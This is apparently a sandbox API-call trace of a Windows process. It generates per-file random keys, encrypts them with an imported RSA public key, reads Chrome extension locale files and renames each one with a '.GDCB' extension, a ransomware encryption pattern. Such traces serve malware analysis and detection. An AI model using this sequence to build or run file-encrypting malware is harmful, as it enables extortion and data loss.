[0258.589] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.591] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.591] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.591] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0258.592] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0258.594] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791da0) returned 1 [0258.594] CryptGetKeyParam (in: hKey=0x6791da0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.594] CryptEncrypt (in: hKey=0x6791da0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.595] GetLastError () returned 0x0 [0258.595] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.595] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0258.597] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791d60) returned 1 [0258.597] CryptGetKeyParam (in: hKey=0x6791d60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.597] CryptEncrypt (in: hKey=0x6791d60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.597] GetLastError () returned 0x0 [0258.597] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.597] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.598] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.601] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.603] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xf3, lpOverlapped=0x0) returned 1 [0258.612] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.625] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.gdcb")) returned 1 [0258.630] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.633] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.635] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.635] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.635] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.635] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.638] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.640] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.641] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.641] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.641] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.643] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792020) returned 1 [0258.644] CryptGetKeyParam (in: hKey=0x6792020, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.644] CryptEncrypt (in: hKey=0x6792020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.644] GetLastError () returned 0x0 [0258.644] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.644] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.646] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791a20) returned 1 [0258.646] CryptGetKeyParam (in: hKey=0x6791a20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.646] CryptEncrypt (in: hKey=0x6791a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.646] GetLastError () returned 0x0 [0258.646] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.646] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.647] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.650] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.652] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x101, lpOverlapped=0x0) returned 1 [0258.660] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.667] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.gdcb")) returned 1 [0258.672] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0258.675] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.677] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.677] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.677] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.677] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.680] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.682] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.682] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.682] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.682] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0258.684] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791ea0) returned 1 [0258.684] CryptGetKeyParam (in: hKey=0x6791ea0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.684] CryptEncrypt (in: hKey=0x6791ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.685] GetLastError () returned 0x0 [0258.685] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0258.685] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0258.687] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791ee0) returned 1 [0258.687] CryptGetKeyParam (in: hKey=0x6791ee0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.687] CryptEncrypt (in: hKey=0x6791ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.687] GetLastError () returned 0x0 [0258.687] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0258.687] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.688] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.691] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.693] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x104, lpOverlapped=0x0) returned 1 [0258.702] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.709] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json.gdcb")) returned 1 [0258.715] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.718] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.720] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.720] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.720] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.720] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.723] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.725] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.725] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.725] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.725] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0258.727] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791be0) returned 1 [0258.727] CryptGetKeyParam (in: hKey=0x6791be0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.727] CryptEncrypt (in: hKey=0x6791be0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.728] GetLastError () returned 0x0 [0258.728] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.728] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0258.730] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792060) returned 1 [0258.730] CryptGetKeyParam (in: hKey=0x6792060, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.730] CryptEncrypt (in: hKey=0x6792060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.730] GetLastError () returned 0x0 [0258.730] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0258.730] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.731] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.734] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.737] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xfc, lpOverlapped=0x0) returned 1 [0258.745] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.755] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.gdcb")) returned 1 [0258.763] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.767] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.771] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.771] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.771] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.771] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0258.775] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.778] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.779] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0258.779] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.780] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0258.782] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791e20) returned 1 [0258.782] CryptGetKeyParam (in: hKey=0x6791e20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.782] CryptEncrypt (in: hKey=0x6791e20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0258.783] GetLastError () returned 0x0 [0258.783] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0258.783] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0258.785] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6791a60) returned 1 [0258.785] CryptGetKeyParam (in: hKey=0x6791a60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0258.785] CryptEncrypt (in: hKey=0x6791a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0258.785] GetLastError () returned 0x0 [0258.785] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0258.785] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0258.787] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0258.791] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0258.794] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x116, lpOverlapped=0x0) returned 1 [0258.802] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0258.810] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.gdcb")) returned 1 [0258.816] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0258.819] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.821] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.821] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0258.822] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0258.822] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0258.826] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0258.828] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0258.828] 